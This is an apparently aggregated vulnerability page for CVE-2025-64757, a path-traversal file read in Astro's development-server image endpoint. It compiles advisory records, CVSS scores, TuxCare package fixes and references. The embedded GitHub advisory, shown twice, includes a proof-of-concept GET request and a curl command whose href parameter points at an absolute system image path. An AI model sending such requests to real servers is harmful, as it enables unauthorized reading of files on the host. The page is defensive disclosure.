CVE-2025-64757
Astro Development Server is Vulnerable to Arbitrary Local File Read
Astro is a web framework. Prior to version 5.14.3, a vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system. This issue has been patched in version 5.14.3.
Attack profile
How easy it is to exploit
- Attack vector
- Adjacent network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
3.5
Astro Development Server is Vulnerable to Arbitrary Local File Read
Astro is a web framework. Prior to version 5.14.3, a vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system. This issue has been patched in version 5.14.3.
- Record
CVE-2025-64757- CVSS 3.1
- 3.5 Low
CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N - Weakness
- CWE-22, CWE-23
- Updated
- 2026-11-02
EUVDEUVD-2025-198185
3.5
Astro is a web framework. Prior to version 5.14.3, a vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system. This issue has been patched in version 5.14.3.
- Record
EUVD-2025-198185- CVSS 3.1
- 3.5 Low
CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-x3h8-62x9-952g
3.5
Astro Development Server has Arbitrary Local File Read
Summary
A vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system.
Details
- Title: Arbitrary Local File Read in Astro Development Image Endpoint
- Type: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- Component:
/packages/astro/src/assets/endpoint/node.ts - Affected Versions: Astro v5.x development builds (confirmed v5.13.3)
- Attack Vector: Network (HTTP GET request)
- Authentication Required: None
The vulnerability exists in the Node.js image endpoint handler used during development mode. The endpoint accepts an href parameter that specifies the path to an image file. In development mode, this parameter is processed without adequate path validation, allowing attackers to specify absolute file paths.
Vulnerable Code Location: packages/astro/src/assets/endpoint/node.ts
// Vulnerable code in development mode
if (import.meta.env.DEV) {
fileUrl = pathToFileURL(removeQueryString(replaceFileSystemReferences(src)));
} else {
// Production has proper path validation
// ... security checks omitted in dev mode
}
The development branch bypasses the security checks that exist in the production code path, which validates that file paths are within the allowed assets directory.
PoC
Attack Prerequisites
- Astro development server must be running (
astro dev) - The
/_imageendpoint must be accessible to the attacker - Target image files must be readable by the Node.js process
Exploit Steps
-
Start Astro Development Server:
astro dev # Typically runs on http://localhost:4321 -
Craft Malicious Request:
GET /_image?href=/[ABSOLUTE_PATH_TO_IMAGE]&w=100&h=100&f=png HTTP/1.1 Host: localhost:4321 -
Example Attack:
curl "http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png" -o stolen.png
Demonstration Results
Test Environment: macOS with Astro v5.13.3
Successful Exploitation:
- Target:
/System/Library/Image Capture/Automatic Tasks/MakePDF.app/Contents/Resources/0blank.jpg - Response: HTTP 200 OK, Content-Type: image/png
- Exfiltration: 303 bytes (100x100 PNG)
- File Created:
stolen-image.pngcontaining processed system image
Attack Payload:
http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png
Server Response:
Status: 200 OK
Content-Type: image/png
Content-Length: 303
Impact
Confidentiality Impact: HIGH
- Scope: Any image file readable by the Node.js process
- Exfiltration Method: Complete file contents via HTTP response (transformed to PNG)
Integrity Impact: NONE
- The vulnerability only allows reading files, not modification
Availability Impact: NONE
- No direct impact on system availability
- Potential for resource exhaustion through repeated large image requests
Affected Components
Primary Component
- File:
packages/astro/src/assets/endpoint/node.ts - Function:
loadLocalImage() - Lines: Development mode branch (~25-35)
Secondary Components
- File:
packages/astro/src/assets/endpoint/generic.ts - Impact: Uses different code path, not directly vulnerable
- Note: Implements proper remote allowlist validation
- Record
GHSA-x3h8-62x9-952g- CVSS 3.1
- 3.5 Low
CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N - Weakness
- CWE-22, CWE-23
- Updated
- 2026-11-02
NVD
3.5
Astro is a web framework. Prior to version 5.14.3, a vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system. This issue has been patched in version 5.14.3.
- Record
CVE-2025-64757- CVSS 3.1
- 3.5 Low
CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N - Weakness
- CWE-22, CWE-23
- Updated
- 2026-11-02
OSV
3.5
Astro Development Server is Vulnerable to Arbitrary Local File Read
Astro is a web framework. Prior to version 5.14.3, a vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system. This issue has been patched in version 5.14.3.
- Record
CVE-2025-64757- CVSS 3.1
- 3.5 Low
CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N - Weakness
- CWE-22, CWE-23
- Updated
- 2026-11-02
OSVGHSA-x3h8-62x9-952g
3.5
Astro Development Server has Arbitrary Local File Read
Summary
A vulnerability has been identified in the Astro framework's development server that allows arbitrary local file read access through the image optimization endpoint. The vulnerability affects Astro development environments and allows remote attackers to read any image file accessible to the Node.js process on the host system.
Details
- Title: Arbitrary Local File Read in Astro Development Image Endpoint
- Type: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
- Component:
/packages/astro/src/assets/endpoint/node.ts - Affected Versions: Astro v5.x development builds (confirmed v5.13.3)
- Attack Vector: Network (HTTP GET request)
- Authentication Required: None
The vulnerability exists in the Node.js image endpoint handler used during development mode. The endpoint accepts an href parameter that specifies the path to an image file. In development mode, this parameter is processed without adequate path validation, allowing attackers to specify absolute file paths.
Vulnerable Code Location: packages/astro/src/assets/endpoint/node.ts
// Vulnerable code in development mode
if (import.meta.env.DEV) {
fileUrl = pathToFileURL(removeQueryString(replaceFileSystemReferences(src)));
} else {
// Production has proper path validation
// ... security checks omitted in dev mode
}
The development branch bypasses the security checks that exist in the production code path, which validates that file paths are within the allowed assets directory.
PoC
Attack Prerequisites
- Astro development server must be running (
astro dev) - The
/_imageendpoint must be accessible to the attacker - Target image files must be readable by the Node.js process
Exploit Steps
-
Start Astro Development Server:
astro dev # Typically runs on http://localhost:4321 -
Craft Malicious Request:
GET /_image?href=/[ABSOLUTE_PATH_TO_IMAGE]&w=100&h=100&f=png HTTP/1.1 Host: localhost:4321 -
Example Attack:
curl "http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png" -o stolen.png
Demonstration Results
Test Environment: macOS with Astro v5.13.3
Successful Exploitation:
- Target:
/System/Library/Image Capture/Automatic Tasks/MakePDF.app/Contents/Resources/0blank.jpg - Response: HTTP 200 OK, Content-Type: image/png
- Exfiltration: 303 bytes (100x100 PNG)
- File Created:
stolen-image.pngcontaining processed system image
Attack Payload:
http://localhost:4321/_image?href=/%2FSystem%2FLibrary%2FImage%20Capture%2FAutomatic%20Tasks%2FMakePDF.app%2FContents%2FResources%2F0blank.jpg&w=100&h=100&f=png
Server Response:
Status: 200 OK
Content-Type: image/png
Content-Length: 303
Impact
Confidentiality Impact: HIGH
- Scope: Any image file readable by the Node.js process
- Exfiltration Method: Complete file contents via HTTP response (transformed to PNG)
Integrity Impact: NONE
- The vulnerability only allows reading files, not modification
Availability Impact: NONE
- No direct impact on system availability
- Potential for resource exhaustion through repeated large image requests
Affected Components
Primary Component
- File:
packages/astro/src/assets/endpoint/node.ts - Function:
loadLocalImage() - Lines: Development mode branch (~25-35)
Secondary Components
- File:
packages/astro/src/assets/endpoint/generic.ts - Impact: Uses different code path, not directly vulnerable
- Note: Implements proper remote allowlist validation
- Record
GHSA-x3h8-62x9-952g- CVSS 3.1
- 3.5 Low
CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N - Weakness
- CWE-22, CWE-23
- Updated
- 2026-11-02
Show 17 moreShow less
OSVCLSA-2026-1777855417 No score
TuxCare security update for astro (10 CVEs)
TuxCare rebuilt astro to address 10 CVEs. Fixed in 1.9.2-tuxcare.1.
- Record
CLSA-2026-1777855417- Updated
- 2026-11-02
OSVCLSA-2026-1777855422 No score
TuxCare security update for astro (10 CVEs)
TuxCare rebuilt astro to address 10 CVEs. Fixed in 0.26.1-tuxcare.1.
- Record
CLSA-2026-1777855422- Updated
- 2026-11-02
OSVCLSA-2026-1777941830 No score
TuxCare security update for astro (10 CVEs)
TuxCare rebuilt astro to address 10 CVEs. Fixed in 2.10.15-tuxcare.1.
- Record
CLSA-2026-1777941830- Updated
- 2026-11-02
OSVCLSA-2026-1792161544 No score
TuxCare security update for @astrojs/internal-helpers (11 CVEs)
TuxCare rebuilt @astrojs/internal-helpers to address 11 CVEs. Fixed in 2.10.15-tuxcare.1.
- Record
CLSA-2026-1792161544- Updated
- 2026-11-02
OSVCLSA-2026-1792161545 No score
TuxCare security update for @astrojs/internal-helpers (10 CVEs)
TuxCare rebuilt @astrojs/internal-helpers to address 10 CVEs. Fixed in 4.16.19-tuxcare.1.
- Record
CLSA-2026-1792161545- Updated
- 2026-11-02
OSVCLSA-2026-1792161546 No score
TuxCare security update for @astrojs/internal-helpers (13 CVEs)
TuxCare rebuilt @astrojs/internal-helpers to address 13 CVEs. Fixed in 3.6.5-tuxcare.1.
- Record
CLSA-2026-1792161546- Updated
- 2026-11-02
OSVCLSA-2026-1792161681 No score
TuxCare security update for @astrojs/prism (10 CVEs)
TuxCare rebuilt @astrojs/prism to address 10 CVEs. Fixed in 1.9.2-tuxcare.1.
- Record
CLSA-2026-1792161681- Updated
- 2026-11-02
OSVCLSA-2026-1792161682 No score
TuxCare security update for @astrojs/prism (10 CVEs)
TuxCare rebuilt @astrojs/prism to address 10 CVEs. Fixed in 0.26.1-tuxcare.1.
- Record
CLSA-2026-1792161682- Updated
- 2026-11-02
OSVCLSA-2026-1792161683 No score
TuxCare security update for @astrojs/prism (11 CVEs)
TuxCare rebuilt @astrojs/prism to address 11 CVEs. Fixed in 2.10.15-tuxcare.1.
- Record
CLSA-2026-1792161683- Updated
- 2026-11-02
OSVCLSA-2026-1792161684 No score
TuxCare security update for @astrojs/prism (10 CVEs)
TuxCare rebuilt @astrojs/prism to address 10 CVEs. Fixed in 4.16.19-tuxcare.1.
- Record
CLSA-2026-1792161684- Updated
- 2026-11-02
OSVCLSA-2026-1792161686 No score
TuxCare security update for @astrojs/prism (13 CVEs)
TuxCare rebuilt @astrojs/prism to address 13 CVEs. Fixed in 3.6.5-tuxcare.1.
- Record
CLSA-2026-1792161686- Updated
- 2026-11-02
OSVCLSA-2026-1792161759 No score
TuxCare security update for @astrojs/studio (10 CVEs)
TuxCare rebuilt @astrojs/studio to address 10 CVEs. Fixed in 4.16.19-tuxcare.1.
- Record
CLSA-2026-1792161759- Updated
- 2026-11-02
OSVCLSA-2026-1792161775 No score
TuxCare security update for @astrojs/underscore-redirects (11 CVEs)
TuxCare rebuilt @astrojs/underscore-redirects to address 11 CVEs. Fixed in 2.10.15-tuxcare.1.
- Record
CLSA-2026-1792161775- Updated
- 2026-11-02
OSVCLSA-2026-1792161776 No score
TuxCare security update for @astrojs/underscore-redirects (10 CVEs)
TuxCare rebuilt @astrojs/underscore-redirects to address 10 CVEs. Fixed in 4.16.19-tuxcare.1.
- Record
CLSA-2026-1792161776- Updated
- 2026-11-02
OSVCLSA-2026-1792161777 No score
TuxCare security update for @astrojs/underscore-redirects (13 CVEs)
TuxCare rebuilt @astrojs/underscore-redirects to address 13 CVEs. Fixed in 3.6.5-tuxcare.1.
- Record
CLSA-2026-1792161777- Updated
- 2026-11-02
OSVCLSA-2026-1792161847 No score
TuxCare security update for @astrojs/upgrade (10 CVEs)
TuxCare rebuilt @astrojs/upgrade to address 10 CVEs. Fixed in 4.16.19-tuxcare.1.
- Record
CLSA-2026-1792161847- Updated
- 2026-11-02
OSVCLSA-2026-1792161848 No score
TuxCare security update for @astrojs/upgrade (13 CVEs)
TuxCare rebuilt @astrojs/upgrade to address 13 CVEs. Fixed in 3.6.5-tuxcare.1.
- Record
CLSA-2026-1792161848- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
astronpm |
before 5.14.3 | 5.14.3 |
astroTuxCare:npm From an advisory covering 10 CVEs |
1.9.2-tuxcare.0 up to 1.9.2-tuxcare.1, plus listed versions 1.9.2 |
1.9.2-tuxcare.1 |
astroTuxCare:npm From an advisory covering 10 CVEs |
0.26.1-tuxcare.0 up to 0.26.1-tuxcare.1, plus listed versions 0.26.1 |
0.26.1-tuxcare.1 |
astroTuxCare:npm From an advisory covering 10 CVEs |
2.10.15-tuxcare.0 up to 2.10.15-tuxcare.1, plus listed versions 2.10.15 |
2.10.15-tuxcare.1 |
@astrojs/internal-helpersTuxCare:npm From an advisory covering 11 CVEs |
2.10.15-tuxcare.0 up to 2.10.15-tuxcare.1, plus listed versions 2.10.15 |
2.10.15-tuxcare.1 |
@astrojs/internal-helpersTuxCare:npm From an advisory covering 9 CVEs |
4.16.19-tuxcare.0 up to 4.16.19-tuxcare.1, plus listed versions 4.16.19 |
4.16.19-tuxcare.1 |
@astrojs/internal-helpersTuxCare:npm From an advisory covering 13 CVEs |
3.6.5-tuxcare.0 up to 3.6.5-tuxcare.1, plus listed versions 3.6.5 |
3.6.5-tuxcare.1 |
@astrojs/prismTuxCare:npm From an advisory covering 10 CVEs |
1.9.2-tuxcare.0 up to 1.9.2-tuxcare.1, plus listed versions 1.9.2 |
1.9.2-tuxcare.1 |
@astrojs/prismTuxCare:npm From an advisory covering 10 CVEs |
0.26.1-tuxcare.0 up to 0.26.1-tuxcare.1, plus listed versions 0.26.1 |
0.26.1-tuxcare.1 |
@astrojs/prismTuxCare:npm From an advisory covering 11 CVEs |
2.10.15-tuxcare.0 up to 2.10.15-tuxcare.1, plus listed versions 2.10.15 |
2.10.15-tuxcare.1 |
Show 8 moreShow less
| Package | Affected | Fixed |
|---|---|---|
@astrojs/prismTuxCare:npm From an advisory covering 9 CVEs |
4.16.19-tuxcare.0 up to 4.16.19-tuxcare.1, plus listed versions 4.16.19 |
4.16.19-tuxcare.1 |
@astrojs/prismTuxCare:npm From an advisory covering 13 CVEs |
3.6.5-tuxcare.0 up to 3.6.5-tuxcare.1, plus listed versions 3.6.5 |
3.6.5-tuxcare.1 |
@astrojs/studioTuxCare:npm From an advisory covering 9 CVEs |
4.16.19-tuxcare.0 up to 4.16.19-tuxcare.1, plus listed versions 4.16.19 |
4.16.19-tuxcare.1 |
@astrojs/underscore-redirectsTuxCare:npm From an advisory covering 11 CVEs |
2.10.15-tuxcare.0 up to 2.10.15-tuxcare.1, plus listed versions 2.10.15 |
2.10.15-tuxcare.1 |
@astrojs/underscore-redirectsTuxCare:npm From an advisory covering 9 CVEs |
4.16.19-tuxcare.0 up to 4.16.19-tuxcare.1, plus listed versions 4.16.19 |
4.16.19-tuxcare.1 |
@astrojs/underscore-redirectsTuxCare:npm From an advisory covering 13 CVEs |
3.6.5-tuxcare.0 up to 3.6.5-tuxcare.1, plus listed versions 3.6.5 |
3.6.5-tuxcare.1 |
@astrojs/upgradeTuxCare:npm From an advisory covering 9 CVEs |
4.16.19-tuxcare.0 up to 4.16.19-tuxcare.1, plus listed versions 4.16.19 |
4.16.19-tuxcare.1 |
@astrojs/upgradeTuxCare:npm From an advisory covering 13 CVEs |
3.6.5-tuxcare.0 up to 3.6.5-tuxcare.1, plus listed versions 3.6.5 |
3.6.5-tuxcare.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-64757 is a low vulnerability (CVSS 3.5) in Astro, published November 19, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.43%, the 37th percentile. Fixed in astro 5.14.3.
References
github.com/withastro/astro/security/advisories/GHSA-x3h8-62x9-952g
github.com/withastro/astro/commit/b8ca69b97149becefaf89bf21853de9c905cdbb7
nvd.nist.gov/vuln/detail/CVE-2025-64757
github.com/advisories/GHSA-x3h8-62x9-952g
github.com/CVEProject/cvelistV5/tree/main/cves/2025/64xxx/CVE-2025-64757.json
github.com/withastro/astro